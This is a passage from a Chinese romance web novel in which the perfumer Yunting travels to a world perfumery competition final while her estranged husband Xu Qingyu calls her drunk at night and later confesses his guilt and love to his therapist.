徐清聿站在她面前,神色冷淡,语气淡漠地说出了让她心脏狠狠一滞的话。 “云听,我不喜欢你,我们离婚吧。” 云听望着徐清聿疏离的眉眼,望着他毫无波澜的神情,心口像是被撕开了一道口子,钝痛蔓延,鲜血淋漓。 她想问他为什么? 可梦境里,她的嘴巴被封住了,根本无法发出声音。 她只能站在那里,眼睁睁地看着徐清聿一步步走远,他的背影被夜色吞没,再也没有回头。 云听跌坐在地上,指尖触到一张粗糙的纸。 她低头看,是一张奖状,上面写了她的名字。 时间很久远,字迹也已经模糊,这张奖状已经被无数次揉皱、踩碎,再也无法复原。 她的事业……毁了。 梦境里的她,仿佛被掏空了,她目睹自己的世界崩塌,所有的努力,所有的坚持,都变成了一场可笑的笑话。 她站在人群之外,看着曾经属于她的舞台被别人占据,看着她曾引以为傲的作品被遗忘,看着自己被一点一点地踢出这个行业,再也无法回到原来的地方。 她不再调香了。 她的嗅觉变得迟钝,她的灵感彻底枯竭。 她曾经最热爱的世界,最终还是毁在了她自己手里。 梦境里的痛楚是真实的,像是一把刀狠狠地剜在心上,让她痛到无法呼吸。 …… 云听呆呆地望着天花板,半晌后,缓缓地侧过身,将自己缩成更 小的一团,手指死死攥住被角。 她分不清刚才的一切到底是不是梦境,因为那种窒息的痛苦,太真实了。 徐清聿就坐在床边,漆黑的眼眸里映着她的身影,动了动唇,欲言又止。 他穿着睡衣,衣领凌乱,袖口随意挽起了一些,露出瘦削的腕骨,整个人笼罩在晨光里,眉眼疲惫不堪。 云听眨了眨眼,她只觉得浑身无力。 而且,她还有更重要的事,没有精力再去探究任何关于徐清聿的事。 她移开视线,没有给徐清聿一个眼神,翻身下床,光脚踩在柔软的地毯上,径直走向桌边。 她没说话,默默地从床头柜里拿出一张票,随手放在徐清聿身边。 107届世界调香大赛入场票,今年的决赛就在本国举行。 徐清聿拿起它。 赛事名称:107届世界调香大赛(The 107th World Perfumerypetition) 赛事阶段:总决赛(Final Round) 举办时间:20XX年1月24日 15:00(北京时间) 举办地点:香都国际会展中心(Xiangdu International Exhibition Center, Xiangdu, China) 入场时间:15:00 - 16:50(迟到者需等候中场入场。 座位信息:A区 1排 08号(VIP席) 活动流程: 15:00 - 16:50 | 观众入场 & 选手调香室外展示 17:00 - 18:15 | 开幕仪式 & 评委介绍 18:15 - 20:00 | 决赛比拼:选手现场调香 & 作品讲解 20:00 - 20:30 | 评委评分 20:30 - 21:30 | 颁奖典礼 & 冠军作品发布 特别嘉宾 & 评委: Jean-Luc Morel(法国传奇调香师,IFF前首席调香师) John Smith(英国皇室御用香水品牌创始人) 陈逸凡(知名东方香调大师,“青瓷香”创始人) Elena Vasquez(西班牙独立香水品牌CEO) David Henshaw(全球顶级香评人,《Perfume & Art》主编) John Smith? 徐清聿眼神一暗,很快恢复如常,将注意力转移到别处。 香都市。 这个城市虽在本国境内,但距离南海较远,若是乘飞机过去,也至少要五到六个小时。 这意味云听后天的决赛,最迟明天就要出发,而她没有跟他说过任何关于行程的事。 徐清聿只知道云听进了决赛,云听主动和他提过要设计一款“希望之香”。 可他不知道,决赛是什么时候。 他连决赛的具体地点也不知道。 更没有问过她,这段时间的灵感如何,准备得怎么样了。 思绪至此,徐清聿的心脏紧抽,指尖的力道不自觉加重,纸张在他的掌心轻微皱起,发出细碎的声响。 他没有主动过问云听比赛的事。 这是一个赤裸裸的事实,此刻被放大到让人无法忽视。 徐清聿闭了闭眼,胸口像是被人用力压了一下,沉闷得透不过气。 云听走到徐清聿身边拿东西,特意和他保持距离,避免和他有肢体接触。 拿完身份证,她直接走到衣柜前,拉开柜门开始收拾东西。 她的动作很利落,拿出行李箱,将衣服一件件折好放进去,整个过程很安静。 突然,Zephyr低声呜咽了一声,爪子伸出,迅速咬住了云听的袖口,阻止她收拾行李。 “乖,去别人家住几天好吗?”云听把Zephyr从袖口上拉开,双手轻抚着它的毛发。 这是她此时唯一能给予它的温柔。 Zephyr不明白她话中的意思,只是默默地注视着她。 “你在这里,我不放心。”云听小声喃喃。 Zephyr不再咬她的袖口,改为安静地蹲在她脚边,它轻轻地伸出小爪子,踩在云听的鞋面上,想用自己的方式为云听分担疲惫。 徐清聿看到一人一猫相处,说道:“云听,我会照顾好它。” 声音从他的喉咙里溢出来,沙哑又难听。 “不用了。”云听摇了摇头,“它不喜欢你,还会抓伤你。” “我和你一起过去。”徐清聿又说。 他不想让云听独自一人,特别是在这样一个重要的时刻。他不想错过,他希望他能够陪伴在她身旁,哪怕她没有明确表示过这个需求。 云听没有立刻回答,继续收拾着行李,整理细碎物品。 她将最后一件衣服放进行李箱才道:“不用了,我和师傅一起过去。” “可是我想陪你。” 云听抬起头,与他对视。 她的眼皮微肿,带着一层薄薄的哀伤。 她注视徐清聿的眼睛,神情复杂:“我希望你那天能够出席,我的灵感确实来源于你,可我知道,我不可能一直依赖你。你的存在会让我感到困扰,至少这两天,你会让我分心,但你的支持对我很重要。” 她顿了顿,叹了口气:“不去也没关系,比赛是我自己的事,最后还是要靠我自己。” “徐清聿,我也想冷静一下。” * 云听匆忙收拾好行李,洗漱完来不及吃早饭就走出家门。 周阿姨看她不对劲,迅速打包好早饭,小跑两步追上云听。 云听接过打包盒,对周阿姨说今天上午有人会过来接走Zephyr。 说完,边走边给辛亦桐发消息,让她今天顺路把Zephyr接走,猫的生活用品已经全部准备好。 辛亦桐没回复,估计还在睡觉。 到楼下时,司机已经等了将近10分钟,她不算迟到太久。 云听和Ethan约定的就是今天出发,昨天和徐清聿发生的事让她忘记定闹钟,好在她的生物钟准时,没让三人等很久。 与她的同行的有不止Ethan,还有苏黎。 苏黎从得知云听进入国际调香大赛决赛的那一刻起,便开始默默地计划能跟随她一起前往。 她疯狂暗示云听,总是在云听忙碌时巧妙地提到有关比赛地点和行程的细节,有意无意让她察觉到自己渴望参与的心情。 见云听没有理解她的暗示,苏黎她不再含蓄,直接提出请求,一把鼻涕一把泪地求云听带她去见见世面。 云听哭笑不得,只好答应她的请求。 上车后,车子驶离,云听的眼皮越来越沉。 眼睛仍酸,她出门时太着急忘了拿眼药水。 Ethan坐在她旁边,见她眼神迷离,关切地问道:“怎么了?看你这么累,昨晚没休息好吗?眼皮很肿。” 云听故作轻松地笑了笑,含糊其词地说:“没事,昨晚没睡好。” 她不想让师傅担心,这场大赛对她来说意义重大,她并不想把过多的情绪带到比赛中来。 Ethan向来关心她,她也不希望看到他因为自己忧虑。 不过,Ethan并不相信她的解释,一直转头狐疑地打量云听。 苏黎心直口快,见Ethan这副模样忍不住怼道:“哎呀,Ethan,小云姐肯定是昨晚看苦情剧了,眼皮才会这么肿,你一个大男人不懂的,女人的心思你就别猜了。” Ethan在公司位高权重,作为公司的核心人物之一,他不需要大张旗鼓地展示自己的权威,因为他的存在本身就足以让所有人心生敬畏。 苏黎仗着云听和Ethan的关系好,有时候在Ethan面前会肆无忌惮说话。 按照Ethan的话来说,她就是狗仗人势。 果不其然,Ethan听到苏黎缺少礼貌的话,作势抬手想扇她。 苏黎感到脖子一凉,缩了缩脖子,赶紧捂住 脑袋,忙不迭向Ethan求饶。 Ethan怕有朝一日她会更加无法无天,损害他在公司的威信,扬言不会放过她。 苏黎只好委屈巴巴朝云听求救,“救命,小云姐,师爷要打我。” Ethan眼皮一跳,靠回靠背,“苏黎,别乱攀关系,谁是你师爷。” 苏黎振振有词:“我不管,小云姐是我的师傅,你是小云姐的师傅。” 经过苏黎的一打岔,Ethan也没再追问云听,一路上都在教育苏黎,要认真工作。 苏黎掏了掏耳朵,左耳进右耳出,转头对云听说,“小云姐,法国那个奥利维耶兰伯特好帅哦!” Ethan闻言,不禁轻笑了一声,脸上显现出无奈的神情:“你们这些年轻人啊,真的是……不看人家的作品,居然关心人家长得帅不帅。” 云听没说话,感激地朝苏黎笑,苏黎眨了眨眼睛。 * 豪华轿车驶入酒店的专属通道,周围的灯光错落有致,仿佛星辰般点缀着这座奢华的地标建筑。 车辆在红毯边停下,外面的景象尽收眼底。 酒店的整体造型犹如一只被雕琢得极致完美的香水瓶,流畅的弧线与镂空的金属结构相得益彰,让整个建筑在灯光的映衬下仿佛漂浮在夜色之中,既神秘又充满未来感。 金色的标志悬挂在酒店正门上方,赫然写着“香颂”二字,字体优雅而庄重,象征着这座酒店的尊贵身份。 这座酒店由世界顶级建筑师艾伦杜邦(Alan Dupont)设计,他以擅长将现代科技与艺术结合而闻名。在建造“香颂”时,他希望让这座建筑不仅仅是一个住所,更是一件能传递“香气艺术”的作品。 因此,整座酒店的外墙采用了特殊的智能玻璃,在夜晚会根据空气中的湿度与温度,模拟香气扩散时的律动,呈现出微妙的光影变化,让整栋建筑看起来被香气包裹一般。 据说酒店内部的空气系统也独具匠心,每个区域的香氛都会随着时间与客人流动而细微调整,营造出独一无二的感官体验。 云听不是第一次来到这样的场合,但第一次来“香颂”。 她曾在国外的调香师聚会上见识过不少顶级酒店的奢华场景,但“香颂”酒店的气势仍让她心生敬畏。 相比之下,Ethan淡定多了。 这位业界德高望重的前辈,早已是这种场合的座上宾,神色从容得仿佛只是回到了家一般。 “小云姐…” 苏黎站在车旁,仰望着眼前的这座建筑,眼中满是震撼,嘴巴微微张开,“比照片里的震撼……” “别愣着了,进去吧。” Ethan拍了拍她的肩膀,带头迈上红毯。 还未走几步,几名身穿黑色西装的保镖便挡在了他们面前。 “请出示您的邀请函或身份认证。” 领头的保镖身材高大,神情严肃,他身后站着数十名安保人员,个个目光如炬,严阵以待,丝毫没有因为来者是知名调香师就露出任何松懈的神色。 这场比赛汇聚了来自世界各地的顶级调香师和业内权威人士,因此安保级别极高。 尤其是近几年,调香界竞争激烈,商业间谍、配方窃取等事件屡见不鲜,主办方不敢有任何疏忽。 哪怕是受邀前来的客人,也必须经过严格的身份确认,才能踏入这座“香气之殿”。 Ethan已习惯了这样的流程,熟练地从口袋中取出自己的身份认证卡,递了过去。 云听和苏黎也拿出身份证。 保镖接过身份认证卡,在手中的扫描仪上一刷,蓝色的光线在屏幕上快速闪烁了一下,随即出现了三人的信息。 确认无误后,保镖点了点头,做了个手势,身后的保安们迅速让出一条通道,大门也在此刻缓缓打开。 “欢迎来到香颂酒店,祝您入住愉快。” 三人一踏入酒店,便被扑面而来的奢华气息包围。 酒店大堂恢宏壮丽,中央悬挂着一座由数万颗水晶拼接而成的吊灯,它的造型并非传统的灯具,而是一瓶被倒置的香水瓶,晶莹剔透的“液体”缓缓流泻而下,在灯光的折射下,宛如琥珀色的香精静静流动。 地面是由意大利进口的大理石铺设而成,光滑如镜,每一步落下都能清晰地映出身影。 大堂的正中央,摆放着一座“未来之香”的主题装置——一棵高达五米的“香氛之树”。 这棵树的“叶片”由透明玻璃制成,每一片叶子上都镶嵌着微型香氛喷雾,每隔几分钟,树枝间便会飘出一缕缕精心调制的香雾,空气中弥漫着令人陶醉的气息。 这个装置不仅是酒店的标志性艺术品,更是一项科技与香气融合的象征,呼应着本次大赛的主题——未来之香。 Ethan感慨道:“啧,早知道这里这么有意思,就该提前几天来,好好享受享受。” 酒店大厅的一侧,是一片专为参赛者和贵宾开放的香氛体验区,摆放着来自世界各地最珍贵的香料。 几位调香师正围在一张由透明玻璃打造的调香桌前,彼此交流着各自的见解,而一旁的侍者则恭敬地奉上经过精心调配的香气样本,让每一位客人都能感受到香水艺术的无限可能。 Ethan又说;“你看,就连这大厅里的空气都经过调香,走几步味道都不一样。可惜啊,我得等你比赛结束才能有时间好好逛逛。” 云听从最初的震撼中回过神来,有些疑惑地问道:“师傅,这里的香气是怎么做到随着环境变化的?” Ethan伸手指了指天花板上几乎隐形的细小喷雾口,解释道:“你看到那些了吗?那是智能香氛系统,能根据人流、温湿度甚至时间调整空气中的香气。比如现在是晚间,适合用些温暖柔和的气息,比如琥珀、檀香或者带点麝香的味道,让人放松。如果是清晨,那大概会换成柑橘、海洋调或是些带露水感的青草香。” 云听听得入神,忍不住多吸了几口气,想要分辨出空气中的细微变化。 Ethan看着她的模样,轻笑了一声,摇了摇头:“你要是真喜欢这些,等比赛完了再慢慢研究吧。这酒店的香氛系统可是和几个顶级调香实验室联合开发的,随便一个喷雾配方,估计都够你学上一年的。” 云听点了点头。 Ethan手抄着口袋,悠闲地往前走去,边走边感慨:“啧,早该早点来,就冲着这阵仗,住上个三五天,吃吃喝喝,逛逛展览,哪怕什么都不干,光是在这种地方待着,都是一种享受。” 三个人解决晚餐,又逛了一圈,Ethan的闹钟响了,他掐灭闹钟,懒洋洋说道:“先回去了,该和老婆视频通话了。” 云听和苏黎自然没有意见,于是三人慢慢往回走,沿着奢华的长廊返回客房区域。 走在半途,苏黎忽然凑到云听身边,“小云姐,我刚刚发现一件事。” 云听侧头,“什么?” 苏黎眼神里带着点八卦的光芒,小声说道:“刚刚在那边,好多金发碧眼的帅哥在看你。” 云听失笑,语气平静:“你想多了。” “真的!”苏黎见她不信,连忙强调,“那些人不只是随便看看,真的一直盯着你,我本来还以为是我看错了,后来又注意了一下,发现至少有三四个人在小声议论你呢。” 云听淡淡一笑,不以为然道:“可能是因为我是参赛者,大家都好奇。” 苏黎一脸“你别骗我”的表情:“可是他们的表情不像是在看一个普通参赛者,更像是在看……” Ethan插话,“在说什么?” 苏黎猛然一噎,没想到自己八卦的话还没说完就被Ethan听见了,她干笑了一声,立刻悻悻改口:“咳咳,没什么,没什么。” 回到房间后,云听脱下外套,长长地舒了口气。 手机的消息栏已经被未读信息塞得满满当当。 她拿起手机,解锁屏幕,未读通知一个接一个地跳出来,覆盖了整个页面。 姐:「听宝,你还好吗?昨天我给你打电话是聿哥接的诶?」 姐:「到了吧?酒店怎么样?我刚刚看了新闻,‘香颂’这次把国际赛场地布置得可豪华了,估计你这几天能享福了。」 云听打开语音回复:“刚到酒店,确实很豪华,过几天拍点照片给你看看。” 接着又看到爸妈的消息。 妈妈:「住的地方怎么样?房间够不够大?有没有好好吃饭?别光顾着比赛, 把自己饿着了。」 爸爸:「小听加油,注意安全,别太累。有什么事就随时联系家里。」 云听:「酒店很好,房间很大,吃饭也很方便,你们不用担心。我会注意休息的。」 发送完消息后,她又顺手拍了一张酒店客房的照片,附上一句“环境不错,放心吧”,一并发给了家族群。 刚回到聊天界面,辛亦桐的消息便接连弹了出来。 辛亦桐:「快快快!你到酒店了没?香颂那么顶级的地方,快告诉我里面到底有多壕!」 辛亦桐:「话说,那边是不是聚集了全球调香界的大佬?有没有遇到什么厉害的人物?」 辛亦桐:「最最最重要的!帅哥多不多?有没有超有气质的外国绅士或者禁欲系高冷神颜?」 看到这连环轰炸的消息,云听失笑着摇了摇头,简短回复: 「酒店确实很壕,比赛还没正式开始,大佬应该都在休息。帅哥……有,但跟我无关。」 同事的聊天群里也炸开了锅,消息比家人和朋友的还要多,云听一一回复。 云听:「评委确实不好对付,但我会尽力。」 云听:「谢谢大家的鼓励,我会好好享受比赛的。」 等所有消息都回复完后,云听才翻到最下方,看到徐清聿的消息。 她盯着屏幕看了两秒,手指敲了敲手机边缘,最后才敛去所有情绪,简短地回复了两个字: 已到。 发送后,她没有再等回复,锁了屏,去卫生间洗漱。 她今天很累,只想早点休息,准备她的比赛,不去想徐清聿。 深夜时分,手机的震动声骤然响起。 “嗡——嗡——” 云听在黑暗中皱起眉头,被突如其来的震动从沉眠中拽了出来。 她本想无视,但铃声锲而不舍地响着,无奈,她皱着眉伸手去摸床头柜上的手机,迷迷糊糊地眯着眼看了一眼屏幕。 凌晨一点。 徐清聿的电话。 睡意瞬间清醒了一半,她怔了一下,指尖顿了顿,还是滑动屏幕接通了电话。 她没有先开口,只是将手机贴近耳边,等待着对方说话。可电话那头,也没有声音。 夜色沉沉,耳边只剩下彼此的呼吸声,在无声的电流里交错。 第48章 第四十八章 “老婆,你在干嘛?”…… 云听看到屏幕上的通话时长, 已经从5:00到了8:30。 8:45,8:46,8:47……时间不断刷新, 她忍不住问:“徐清聿,有什么事吗?” 她的语气不算温和,一天的舟车劳顿已经耗尽了她的精力,深夜被吵醒本就让人心烦, 而电话那头的人一句话也不说,只是沉默着,单纯地拨通号码,又不想和她交流。 又是几秒过去,徐清聿还是没有回应。 云听皱了皱眉, 这通电话来得莫名其妙。 她耐心尽失,如今困意正浓,更是不想和徐清聿耗着,语气里已经多了点不耐烦。 “没事我就先挂了。” 云听的指尖刚要触碰到挂断键,准备结束通话, 耳边听到一道低哑的声音。 “……老婆。” 简单的两个字,有几分醉意,温柔又暧昧。 后面还有四个字,“你在干嘛?” 云听指尖一抖, 手机“啪”的一声从手里滑落,直接砸到了柔软的被子上。 她整个人怔住, 半天没回过神。 徐清聿刚刚喊她什么? 老婆? 他喝醉了吗? 如果不是徐清聿特有的声线和嗓音,云听严重怀疑对面的不是他。 她和徐清聿给对方的称呼一直都悬浮在一个清晰分明的界限上,彼此间多是称呼名字。 徐清聿不是不会说亲密的昵称,但都是在兴致高时才说, z.爱时他会在她的耳边喘着粗气,亲昵地叫她“小听”,“云云”。 不过次数不多,更别提“老婆”这个称呼。 云听快速伸手把手机从被子里捞了回来,看向通话界面,确认了一下号码和备注,的确是徐清聿。 原本被困意填满的脑袋即刻清醒,已经没有半点睡意。 徐清聿傻了吗? ……这个点除了睡觉还能干嘛? 云听屏住呼吸,仔细听电话那头的动静。 云听能确定徐清聿喝醉了。 徐清聿的声音极少有波动,可现在的嗓音很委屈,还有显而易见的疲惫和迷茫,完全不像是清醒状态下的他。 除了他的呼吸声外,背景里又传来嘈杂的人声。 中间夹杂着玻璃杯碰撞的清脆响动,隐约还能听到几个男人的笑闹声。 “我靠,Zeph不会是真的醉了吧?” “这副模样……啧,该不会是老婆跟人跑了?” “哎,你说,Zeph该不会是想给老婆打电话求原谅吧?” “清聿,你到底怎么了?我说你别一副搞得跟失恋了一样,有什么事不能和兄弟说吗?” “Elliot,要不要看看他哭没哭?” 云听听到Kai和Elliot的声音,额角跳了跳,心里无奈,又有些烦躁。 徐清聿喝醉了给她打电话是什么意思? 还喊她……老婆? 徐清聿没有接好友们的话,只是在一片喧闹的背景音里,沉默着。 然后,他又轻声叫了一句: “老婆。” 徐清聿叫了她一声“老婆”之后,又一次陷入沉默。 云听吸一口气,她不知道该怎么接话茬,“……徐清聿、你喝醉了。” 她不想继续听下去,再耗下去也没意义,不然她绝对会没出息地想念徐清聿。 徐清聿已经醉了,明天不会记得今晚的事。 然而,就在她第二次准备挂断的时候,徐清聿又说话了。 “明天,等我。” 与刚才醉意朦胧的声音不同,那句“明天,等我”说得很稳重,语气太认真了,认真到云听觉得他其实根本没醉。 电话那头的喧闹声不断,Kai和Elliot的打趣声若有若无地传来,徐清聿一遍又一遍地重复: “明天等我。” “明天等我。” “明天……等我。” 徐清聿一直在固执地自言自语,沉浸在自己的思绪里无法自拔。 云听抿了抿唇,冷冷道:“知道了,我挂了。” 躺回去后,她发现自己睡不着了,徐清聿那句“老婆”像是缠绕在耳边的低语,一直挥之不去。 云听睁着大眼睛,看到天际有一架飞机划过,灯光在远处闪烁。她这才想起,自己睡觉前忘了拉上窗帘。 酒店的落地窗占据了整整一面墙,玻璃透亮,没有丝毫遮挡,从她的角度看出去,是一片黑。 并不是夜色的黑,而是虚无。 她的房间楼层很高,站在这里,看不到正常的夜景。下方的城市灯火已经模糊得几乎消失,剩下寂静无声的黑暗笼罩着整个世界。 高楼之上,夜空没有星辰,只有深沉的寂静。 云听坐起身,拿起手机,赤脚踩在地毯上,朝窗边走去。 她站在落地窗前,抬起手拉动窗帘,余光无意间往下瞥了一眼。 原来,她只是站得太高了,才看不见夜景。 脚下的城市,正灯火璀璨。 霓虹交错,繁华如梦。 从她的房间俯瞰,城市的主干道犹如蜿蜒的银河,车流川息,灯火如星光般点缀其中。大厦林立,各色LED屏幕滚动播放着广告,在夜色中谱写出一幅五光十色的画卷。 远处的河流两侧在灯光的映衬下泛着淡淡的金光,桥梁横跨两岸,连接这座城市的不同区域,如同一条发光的脉络。高 楼之间,还有数不清的霓虹招牌闪烁,酒吧、剧院、商业街人流不断,哪怕是深夜,整座城市依旧繁华不息。 可在这片流光溢彩的夜色里,云听感到前所未有的孤寂。 她站在这里,目光穿透冰冷的玻璃,看到城市的繁华,可是,她没有办法融入其中。 这一切,离她太远了。 她所站的地方太高了,高到与这个世界脱节,高到只剩下她一个人。 云听之前听邢时漫无意间提过,她和徐清聿的婚房原本选的是高楼层,视野极好,比她现在住的这间酒店还要高出许多。 站在落地窗前,整个城市的风景都会尽收眼底,日出日落,云卷云舒,夜晚还能俯瞰整片城市的灯火。 可徐清聿不喜欢。 邢时漫说:“也不知道清聿是怎么想的,不喜欢住太高的地方。” * 周赵姨一边收拾厨房,一边时不时朝着卧室的方向瞥上一眼。 她是个过来人,哪会看不出两人的不对劲。 小太太两天不在家了,先生这两天气压低得可怕,这架势,八成是吵架了。 周阿姨想到云听离开家门前红肿的眼皮,叹了口气。 小太太是个好女孩,脾气温和、性格稳重,她哭成这样,肯定是先生的不对。 绝对是先生的态度或行为出了问题,不然小太太怎会如此伤心? 周阿姨到了年纪,有时候控制不了自己多管闲事,云听和她女儿差不多年纪,每次看到云听就相当于看到了她的女儿,她当然看不了云听受委屈。 云听离开后,卧室的房间门一直紧闭着。 周阿姨又于心不忍。她加热好早餐,又热了牛奶,在厨房里忙活了一阵,准备过去敲门。 这时,门开了。 周阿姨抬起头,正好撞见徐清聿走出来。 惊得手里的碗差点掉地上。 徐清聿的模样……实在是太颓废了。 他头发乱得不成样子,额前的碎发遮住了眼睛,脚步虚浮,更离谱的是,他竟然连拖鞋都没穿,光着脚踩在冰冷的地板上。 周阿姨还是第一次见徐清聿不修边幅的模样。 往常的他,举止沉稳,即使是在家,也会换上干净的休闲服,从来不会像现在这样,邋遢得像个彻夜买醉的失意男人。 这架,果然是吵得不轻。 她默默转身,端起早已准备好的早餐,走到餐桌旁放下。 “先生,先吃点东西吧。”她尽量让自己的语气听起来平常些。 话音刚落,徐清聿径直走到沙发旁,一屁股坐下,后背深深陷进靠垫里。 他抬手按了按眉心,头疼得厉害。 周阿姨站在一旁,想说什么,可又不敢开口。 最终没忍住,劝说道:“先生,您多少吃点吧,胃空着,对身体不好。” 徐清聿仰起头,望着天花板。 良久,他问:“她走了吗?” 周阿姨回:“嗯。” “她吃了吗?” “小太太拿着早饭走了。” 徐清聿又“嗯”了声。 周阿姨看着桌上的早餐,没再劝,她也只是一个拿工资的外人。 她转身回到厨房,开始打扫卫生。 徐清聿眉目紧锁,胃痛来得毫无征兆,又熟悉得让人麻木。 他喘了口气,缓慢地俯下身,从茶几下方的抽屉里摸出一瓶药,熟练地拧开盖子,倒出两粒白色的小药片,放进嘴里,干咽下去。 喉结滚动了几下,涩意从喉咙深处蔓延开。 吞下去之后,他闭了闭眼,靠在沙发上,等着那股难耐的绞痛褪去。 胃药生效得很快,痛感从锋利变得迟钝,随后缓缓散去。他撑着扶手起身,平静地拂了拂皱巴巴的衣服,像是把所有情绪都一并拂去,转身走向房间。 若无其事地吃完早饭后,徐清聿去了心理诊疗室。 上次踏入还是在结婚之前,他发现他对云听有占有欲。 Dr.Michael入乡随俗,为他泡了一杯绿茶。 徐清聿没喝,后背靠着椅背,手指交叠。 他的指尖抵着骨节,习惯性地施力,让自己保持冷静。 对面的Dr.Michael翻了翻笔记,对徐清聿的到来毫不意外:“所以,你今天来是想聊什么?” 徐清聿垂下眼,在云听面前说不出的喜欢,轻而易举在别人面前说出:“我喜欢上她了。” Dr.Michael放下笔,“这是好事,Xu。” 徐清聿没有抬头,声音平静:“可是,我做错了太多事。” “我配不上她的喜欢。”他顿了顿,嘴角勾起一抹自嘲的笑,“我是个卑劣的人。” Dr.Michael没有说话,从桌上拿起一盒冰糖,夹了两块放进绿茶里,耐心等他继续说下去。 徐清聿以往过来,每一次交谈都封闭自己的心,什么都不愿意说,什么都说“没事”。 以往看到他往绿茶里面加冰糖,徐清聿会面无表情吐槽他浪费了好茶。 这次倒是没说什么。 Dr.Michael又往西湖龙井里加了三块冰糖,试探徐清聿,他还是没什么反应。 看来这次很严重。 Dr.Michael不知道从哪拿出一瓶酒,倒了一小杯,刚要喝一口。 徐清聿蹙眉,这下忍住了,提醒:“伤肾伤胃。” Dr.Michael把酒倒在垃圾桶里,笑眯眯地说,“看来你的神志还是清醒的,继续说吧。” 徐清聿望着眼前的水杯,水面平静得像一面镜子,他吐露心声, “那天晚上,我去接她。” “我对她说,我的父母希望我和她的姐姐能有一个孩子。” Dr.Michael跟着蹙眉。 西湖龙井,还真不能加冰糖,都没有茶味了。 徐清聿没理会Dr.Michael一副吃了屎的表情,自顾自地说:“我看到她的眼神变了。” 那一瞬间,云听眼底的光熄灭了一半,剩下的另一半,是受伤。 他看到她的眼神一点点暗下去,看到她垂在身侧的指尖攥紧,看到她低下头,平静地说:“那我提前祝、祝你和姐姐幸福。” 徐清聿已经后悔了。 那一刻他应该和云听解释他在开玩笑,或者至少说些什么去缓和云听的情绪。 可他没有。 而且他也不是开玩笑。 徐清聿当时在想什么,大概是想到他竟然可以牵动云听的情绪,看到她不一样的神情。 所以他没有深度思考,云听为什么会露出受伤的表情。 Dr.Michael静静地听着,没有轻易下结论,而是问:“你为什么要这么做?” 徐清聿的呼吸滞了滞,“Dr,你生活在一个相对自由的环境中,能够更加自主地定义自己的生活轨迹。但是,在这里,成家立业、结婚生子,不仅仅是个人选择,它更像是家族与社会对一个成年人的基本期许,是父母对我的生命规划和传承的期待。” “在我们的文化背景中,这些东西不仅仅是‘做得到’的问题,它更像是一种责任,一种社会和家庭赋予的义务。如果不按部就班地完成这些,背后总会有无形的压力,甚至是一种潜在的指责。” 徐清聿直视Dr.Michael的眼睛,语调冷静得不像是在谈及自己的未来,而像是在讨论某个早已被规划好的剧本,“我无法坐视他们的期望落空。完成这些,才能给他们一个交代,我才能做我想做的事。” Dr.Michael沉默了一瞬,问:“你想做什么?” 徐清聿没有回答。 Dr.Michael摇头:“站在你的角度,你并没有做错。” 徐清聿低下头,看到自己掌心的抓痕和指骨。 这双手……从来都是冷的。 “这就是我做错的地方。”徐清聿低低地笑了一声,对自己之前荒唐的做法感到可笑:“我不喜欢云闻,可是我竟然卑鄙地想完成任务之后再离开她。” “我竟然无情到,想让云闻给我生个孩子,而我完成了任务,走人。” 徐清聿强撑的冷静 背后是深深的自厌。 他闭了闭眼,接着说道:“我知道她有多爱她姐姐。” “可我当时,”徐清聿顿了顿,目光空洞,“竟然想要借她姐姐来做这件事。” 徐清聿不敢去想云听知道自己曾经的心思后会有怎样的反应。她如果知道了,一定会对他很失望,还是会痛恨他。 “她那么爱她姐姐,而我却……” “我还做了很多她不喜欢的事……” “当我意识到我喜欢上她的时候……”徐清聿的声音听起来沉甸甸的,像是吞下了沉重的巨石,在喉咙处上不上,下不下,“我就知道,完了。” 他低笑一声,笑容有些苦涩。 “我怎么可能配得上她的爱。” 他的言语是一场没有向云听说出口的告白,同时饱含无尽的自我厌弃。 徐清聿知道自己无法回应云听的感情,并非冷酷无情,也并非毫无感情,只是他的心里有太多难以触碰的阴影,太多无法说出口的谎言。 他经常会在夜晚反复告诉自己,他应该离开,应该让云听去找一个配得上她的人。 但是,云听的坚持和无言的关怀,总在不经意间划破他理智的防线。 先前,徐清聿不知道云听喜欢他,他的心情很矛盾,一方面他希望云听能够永远属于她,另一方面他也庆幸,云听不喜欢他。 极度的拉扯让他选择逃避。 直到现在,云听终于捅破了那层窗户纸。 徐清聿感觉自己被什么东西捆住了,无法再退缩。 可是和云听的爱相比,他的那点所谓的“爱”,显得如此肮脏、恶心。他无法忍受自己的不堪,也无法接受自己曾经做过的选择。 “我没办法回应她的爱。”徐清聿说,“她给我的爱,太干净,太纯粹,而我……” “我连自己的良知都快丢掉了。” Dr.Michael无声片刻,深深地看了徐清聿一眼。 “Xu,你知道吗,”Dr.Michael说,“你所说的‘卑鄙’、‘恶心’,其实是你内心对自己的评价。你把自己当作罪人,认为自己做错了不可饶恕的事。但是,事实并不是这样。” “你说你爱她,但你更害怕自己配不上她。你觉得自己不能回应她的爱,是因为你对自己的判断过于苛刻。” Dr.Michael继续道:“人不可能一辈子都活在别人设定的标准里。你现在的痛苦,实际上是你无法接受自己的真实感受。你怕暴露自己的脆弱,怕面对内心的那份不堪,却没有意识到,你正是因为这种逃避,才将自己逼入了现在的困境。” 徐清聿从口袋里掏出一包烟,熟练地抽出一支,拿起打火机点燃。 Dr.Michael打开窗户,让新鲜空气进来:“Xu,你错了,并不是你不配,是你自己给了自己一个无形的枷锁,认为自己无法承受爱与被爱。你要明白,爱不是一场交易,也不是用功利来衡量的事。你现在所做的,正是将自己推向极限,让自己在不自觉中陷入了困境。你害怕她知道你过去的选择,害怕她看到你心中的复杂与黑暗,但她不会因此而离开。她爱你,正是因为你是你,而非你所设想的‘完美’。” “但她的爱太过纯粹,”徐清聿低声喃语,“我怕我一旦回应,她会离开我,我接受不了。” Dr.Michael语气坚定:“这正是你应该开始改变的地方。接纳自己并不意味着放弃前行,反而是能让你拥有更强大的力量去面对未来的一切。只有你能够放下内心的负担,才能看到爱本身真正的意义。” “Xu,你不必完美,只要你学会面对自己,接受自己所有的缺陷与不堪,才会真正理解什么是爱,什么是幸福。” Dr.Michael最后补充道:“你和她之间的感情,是基于真实,而不是你一直用‘完美’的假象去塑造。如果你一直活在这种幻想中,最终只会摧毁你们之间的关系。” …… 徐清聿走出诊所。 天气突然转阴,乌云密布,压得空气凝滞。 回到家里,Zephyr没有在客厅里,也没有躲在窗台上,它已经被人接走了。 徐清聿走向Zephyr平时喜欢待的地方,沙发角落里,那块它最常趴着的小毯子在那里,皱巴巴地堆放着。 无论他为Zephyr做了多少,偷偷喂食了多少美味的罐头,Zephyr对他始终不温不火。Zephyr抓伤他,他没有打也没有骂。 可Zephyr还是不喜欢他。 猫真的很聪明。 不知不觉间,徐清聿走进了云听调香的房间。 